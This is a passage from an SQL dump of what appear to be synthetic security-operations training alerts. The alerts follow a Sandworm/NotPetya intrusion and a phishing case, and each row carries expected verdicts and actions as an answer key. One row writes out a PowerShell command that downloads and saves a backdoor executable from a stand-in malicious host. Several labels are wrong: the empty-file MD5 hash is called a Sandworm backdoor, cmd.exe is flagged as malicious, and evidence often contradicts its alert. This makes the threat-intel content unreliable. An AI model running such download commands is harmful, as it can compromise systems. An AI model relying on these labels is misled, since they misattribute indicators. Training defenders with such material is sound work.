operations.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.674Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:56:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.15\\\",\\\"username\\\":\\\"scada_admin\\\",\\\"detected_malware\\\":\\\"NotPetya\\\",\\\"malware_hash\\\":\\\"71b6a493388e7d0b3c1f0a3b10a9a9cd\\\",\\\"affected_system\\\":\\\"ICS_Controller_01\\\",\\\"action_taken\\\":\\\"Wiper malware executed\\\",\\\"file_path\\\":\\\"/var/log/scada/ICS_Controller_01.log\\\",\\\"event_description\\\":\\\"Destructive malware activity detected on critical infrastructure supporting pharmaceutical operations.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.674Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:56:43Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.10.15\\\",\\\"username\\\":\\\"scada_admin\\\",\\\"detected_malware\\\":\\\"NotPetya\\\",\\\"malware_hash\\\":\\\"71b6a493388e7d0b3c1f0a3b10a9a9cd\\\",\\\"affected_system\\\":\\\"ICS_Controller_01\\\",\\\"action_taken\\\":\\\"Wiper malware executed\\\",\\\"file_path\\\":\\\"/var/log/scada/ICS_Controller_01.log\\\",\\\"event_description\\\":\\\"Destructive malware activity detected on critical infrastructure supporting pharmaceutical operations.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(985, 'Legal Review: Cyber Insurance \'Act of War\' Clause', 'critical', 'Legal Documentation', 'The investigation into the cyber attack revealed the use of sophisticated tactics, including destructive attacks targeting ICS/SCADA systems, reminiscent of Sandworm\'s techniques. The legal battle challenges the insurance \'act of war\' clause, as the attack involved the deployment of wiper malware similar to NotPetya, implicating supply chain vulnerabilities.', 'Legal Analysis', 'T1485: Data Destruction', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T15:23:45Z\",\"event_id\":\"ALERT_007\",\"source_ip\":\"188.166.253.134\",\"destination_ip\":\"192.168.1.15\",\"file_hash\":\"2c1743a391305fbf367df8e4f069f9f9\",\"filename\":\"notpetya_payload.exe\",\"user\":\"jdoe\",\"action\":\"file_execution\",\"description\":\"Detected execution of known wiper malware associated with Sandworm APT on internal ICS network\",\"impact\":\"Destructive impact on critical infrastructure\",\"threat_actor\":\"Sandworm\"}', '2026-01-17 03:41:52', '2026-02-16 17:51:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"188.166.253.134\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Sandworm APT\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal ICS network device\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"2c1743a391305fbf367df8e4f069f9f9\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya wiper malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"notpetya_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with NotPetya\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.675Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T15:23:45Z\\\",\\\"event_id\\\":\\\"ALERT_007\\\",\\\"source_ip\\\":\\\"188.166.253.134\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"filename\\\":\\\"notpetya_payload.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_execution\\\",\\\"description\\\":\\\"Detected execution of known wiper malware associated with Sandworm APT on internal ICS network\\\",\\\"impact\\\":\\\"Destructive impact on critical infrastructure\\\",\\\"threat_actor\\\":\\\"Sandworm\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.675Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T15:23:45Z\\\",\\\"event_id\\\":\\\"ALERT_007\\\",\\\"source_ip\\\":\\\"188.166.253.134\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"filename\\\":\\\"notpetya_payload.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_execution\\\",\\\"description\\\":\\\"Detected execution of known wiper malware associated with Sandworm APT on internal ICS network\\\",\\\"impact\\\":\\\"Destructive impact on critical infrastructure\\\",\\\"threat_actor\\\":\\\"Sandworm\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.675Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T15:23:45Z\\\",\\\"event_id\\\":\\\"ALERT_007\\\",\\\"source_ip\\\":\\\"188.166.253.134\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"filename\\\":\\\"notpetya_payload.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_execution\\\",\\\"description\\\":\\\"Detected execution of known wiper malware associated with Sandworm APT on internal ICS network\\\",\\\"impact\\\":\\\"Destructive impact on critical infrastructure\\\",\\\"threat_actor\\\":\\\"Sandworm\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.675Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T15:23:45Z\\\",\\\"event_id\\\":\\\"ALERT_007\\\",\\\"source_ip\\\":\\\"188.166.253.134\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"filename\\\":\\\"notpetya_payload.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_execution\\\",\\\"description\\\":\\\"Detected execution of known wiper malware associated with Sandworm APT on internal ICS network\\\",\\\"impact\\\":\\\"Destructive impact on critical infrastructure\\\",\\\"threat_actor\\\":\\\"Sandworm\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.675Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T15:23:45Z\\\",\\\"event_id\\\":\\\"ALERT_007\\\",\\\"source_ip\\\":\\\"188.166.253.134\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"filename\\\":\\\"notpetya_payload.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_execution\\\",\\\"description\\\":\\\"Detected execution of known wiper malware associated with Sandworm APT on internal ICS network\\\",\\\"impact\\\":\\\"Destructive impact on critical infrastructure\\\",\\\"threat_actor\\\":\\\"Sandworm\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(986, 'Initial Access via Phishing Email', 'high', 'Email Gateway Logs', 'Sandworm has initiated an attack by sending a spear-phishing email to a TNT Express employee. The objective is to compromise user credentials and gain a foothold in the network. The email contains a malicious attachment that, when opened, attempts to harvest credentials.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"destination_email\":\"john.doe@tntexpress.com\",\"subject\":\"Urgent: Update Your Account Credentials\",\"attachment\":\"Invoice_Update.docm\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"email_headers\":{\"from\":\"admin@secure-accounting.com\",\"to\":\"john.doe@tntexpress.com\",\"subject\":\"Urgent: Update Your Account Credentials\"}}', '2026-01-17 03:41:59', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Sandworm phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal corporate machine.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"john.doe@tntexpress.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Corporate Directory\",\"verdict\":\"internal\",\"details\":\"Valid employee email address.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"admin@secure-accounting.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"suspicious\",\"details\":\"Domain associated with phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious document used by Sandworm.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-02-01T20:32:22.676Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(987, 'Execution of NotPetya Payload', 'high', 'Endpoint Detection Logs', 'Upon gaining initial access, the attackers executed the NotPetya payload on compromised systems, causing immediate disruption and data encryption.', 'Malware Execution', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:26Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.56\",\"destination_ip\":\"192.168.1.101\",\"username\":\"compromised_user\",\"process_name\":\"notpetya.exe\",\"process_hash\":\"71f9e4ab8c1c2a4b1a5f9f2e3b7a4c5d\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\notpetya.exe\",\"action\":\"Executed\",\"severity\":\"High\"}', '2026-01-17 03:41:59', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with NotPetya distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Logs\",\"verdict\":\"suspicious\",\"details\":\"User account accessed from external IP.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"71f9e4ab8c1c2a4b1a5f9f2e3b7a4c5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"notpetya.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Logs\",\"verdict\":\"malicious\",\"details\":\"Filename associated with NotPetya malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(988, 'Establishing Persistence via Backdoor Installation', 'high', 'Network Traffic Analysis', 'During network traffic analysis, an unauthorized communication from an internal host to a known malicious IP was detected. This activity correlates with the installation of a backdoor by the Sandworm threat actor to maintain prolonged access.', 'Backdoor Installation', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-09-15T13:45:30Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"username\":\"j.doe\",\"process_name\":\"cmd.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -c Invoke-WebRequest -Uri http://malicious.example.com/backdoor.exe -OutFile C:\\\\Users\\\\j.doe\\\\backdoor.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"destination_port\":80,\"protocol\":\"HTTP\",\"malware_name\":\"Sandworm Backdoor\"}', '2026-01-17 03:41:59', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"Associated with Sandworm APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Identified as compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with Sandworm backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File System\",\"verdict\":\"malicious\",\"details\":\"Detected as unauthorized backdoor file.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(989, 'Lateral Movement Across Legacy Systems', 'high', 'Active Directory Logs', 'The attackers exploit weak integration protocols within TNT\'s legacy systems to move laterally, exacerbating the damage and causing widespread operational disruption. The compromised credentials were used to access a legacy system and execute a known malicious binary associated with the Sandworm group.', 'Lateral Movement', 'T1075', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"192.168.1.15\",\"username\":\"legacy_admin\",\"logon_type\":3,\"hash\":\"34f7a3113803f8ed3b8fd7ce5656ebec\",\"filename\":\"notpetya.exe\",\"event_description\":\"An account was successfully logged on.\",\"logon_process\":\"NtLmSsp\",\"authentication_package\":\"NTLM\",\"logon_guid\":\"{9e9b9c3a-b8e0-4e0b-8a9d-8c9e3c3a9ceb}\"}', '2026-01-17 03:41:59', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Sandworm activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal legacy system IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"legacy_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"High-privilege account used anomalously.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"34f7a3113803f8ed3b8fd7ce5656ebec\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"notpetya.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Filename associated with NotPetya malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(990, 'Data Exfiltration and Destruction', 'critical', 'File Integrity Monitoring', 'In the final phase, Sandworm attempts to exfiltrate valuable data before unleashing the wiper functionality of NotPetya, leading to permanent data loss and crippling the subsidiary\'s operations.', 'Data Destruction', 'T1485 - Data Destruction', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"FIM-987654\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"user\":\"jdoe\",\"file_path\":\"/var/www/html/backup.sql\",\"action\":\"delete\",\"hash\":\"c1a5298f939e87e8f962a5edfc206918\",\"malware\":\"NotPetya\",\"file_size\":\"45MB\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"severity\":\"Critical\"}', '2026-01-17 03:41:59', '2026-02-16 17:50:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Sandworm APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in the data destruction phase.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account possibly compromised during the attack.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"c1a5298f939e87e8f962a5edfc206918\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya wiper malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"/var/www/html/backup.sql\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Logs\",\"verdict\":\"suspicious\",\"details\":\"File marked for deletion during data exfiltration and destruction.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.680Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"FIM-987654\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"/var/www/html/backup.sql\\\",\\\"action\\\":\\\"delete\\\",\\\"hash\\\":\\\"c1a5298f939e87e8f962a5edfc206918\\\",\\\"malware\\\":\\\"NotPetya\\\",\\\"file_size\\\":\\\"45MB\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.680Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"FIM-987654\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"/var/www/html/backup.sql\\\",\\\"action\\\":\\\"delete\\\",\\\"hash\\\":\\\"c1a5298f939e87e8f962a5edfc206918\\\",\\\"malware\\\":\\\"NotPetya\\\",\\\"file_size\\\":\\\"45MB\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.680Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"FIM-987654\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"/var/www/html/backup.sql\\\",\\\"action\\\":\\\"delete\\\",\\\"hash\\\":\\\"c1a5298f939e87e8f962a5edfc206918\\\",\\\"malware\\\":\\\"NotPetya\\\",\\\"file_size\\\":\\\"45MB\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.680Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"FIM-987654\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"/var/www/html/backup.sql\\\",\\\"action\\\":\\\"delete\\\",\\\"hash\\\":\\\"c1a5298f939e87e8f962a5edfc206918\\\",\\\"malware\\\":\\\"NotPetya\\\",\\\"file_size\\\":\\\"45MB\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.680Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"FIM-987654\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"/var/www/html/backup.sql\\\",\\\"action\\\":\\\"delete\\\",\\\"hash\\\":\\\"c1a5298f939e87e8f962a5edfc206918\\\",\\\"malware\\\":\\\"NotPetya\\\",\\\"file_size\\\":\\\"45MB\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"severity\\\":\\\"Critical\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(991, 'Initial Access via Phishing Email', 'high', 'Email server logs', 'A spear-phishing email was sent to a Ronin employee with the intent to obtain network credentials. The email contained a malicious link leading to a credential harvesting site.', 'Phishing Attack', 'T1566.001', 1, 'Closed', 74, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"source_ip\":\"185.143.172.101\",\"destination_ip\":\"192.168.1.45\",\"source_email\":\"hr@ronin-security.com\",\"destination_email\":\"john.doe@ronin-security.com\",\"subject\":\"Urgent: Please Review the Attached Document\",\"attachment\":\"ProjectDetails.docx\",\"malicious_link\":\"http://malicious-site.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36\",\"malware_hash\":\"9c9c1c8a5f1c4e5a6c7e1e8f9f4b3c7d\"}', '2026-01-17 03:42:27', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.172.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing server associated with Lazarus Group\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"john.doe@ronin-security.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Email Directory\",\"verdict\":\"internal\",\"details\":\"Employee of Ronin\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Phishing site designed to harvest 